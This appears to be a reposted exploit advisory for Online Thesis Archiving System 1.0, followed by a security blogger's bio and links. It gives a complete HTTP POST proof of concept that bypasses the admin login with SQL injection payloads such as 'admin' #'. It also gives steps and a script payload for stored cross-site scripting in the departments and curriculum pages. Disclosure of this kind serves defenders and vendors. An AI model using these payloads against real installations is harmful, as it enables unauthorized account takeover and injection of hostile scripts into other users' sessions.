Online Thesis Archiving System 1.0 – SQLi Authentication Bypass

# Exploit Title: Online Thesis Archiving System 1.0 - SQLi Authentication Bypass
# Exploit Author: Yehia Elghaly (YME)
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15083/online-thesis-archiving-system-using-phpoop-free-source-code.html
# Version: Online Thesis Archiving System 1.0
# Tested on: Windows, xampp
# CVE: N/A

- Description:SQLi Authentication Bypass
SQL Injection vulnerability exists in Online Thesis Archiving System 1.0 1.0. An admin account takeover exists with the payload: admin' # -  admin' or '1'='1

PoC:

POST /otas/admin/login.php HTTP/1.1
Host: 192.168.113.130
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Origin: http://192.168.113.130
DNT: 1
Connection: close
Referer: http://192.168.113.130/otas/admin/login.php
Cookie: PHPSESSID=0jsudph494kpt2a5jvbvdvsrsc
Upgrade-Insecure-Requests: 1

username=admin' #&password=admin' #

- Description: Stored Cross Site Scripting (XSS)
Stored Cross Site Scripting (XSS) exists in Online Thesis Archiving System 1.0. 

Steps:
 
1- Go to (http://localhost/otas/admin/?page=departments) and (http://localhost/otas/admin/?page=curriculum)
2- Add new (curriculum) or (department) 
3- Insert your payload <script>("xssyf")</script>
            

• About
• Latest Posts

Connect

RiSec.n0tst3

Hello! I'm Steve, an independent security researcher, and analyst from Scotland, UK.

I've had an avid interest in Computers, Technology and Security since my early teens. 20 years on, and, it's a whole lot more complicated...

I've assisted Governments, Individuals and Organizations throughout the world. Including; US DOJ, NHS UK, GOV UK.

I'll often reblog infosec-related articles that I find interesting. On the RiSec website, You'll also find a variety of write-ups, tutorials and much more!

Connect

Latest posts by RiSec.n0tst3 (see all)

• Twitter discontinues text message two-factor authentication for non-Blue subscribers - 26 March 2023
• A Beginner’s Guide to Visual Studio Code: Interface, Features, Keyboard Shortcuts and More - 25 March 2023
• A Lesson in Privacy: The ChatGPT Bug and Its Implications for AI Conversations - 24 March 2023

Recommended:  Pure-FTPd 1.0.48 - Remote Denial of Service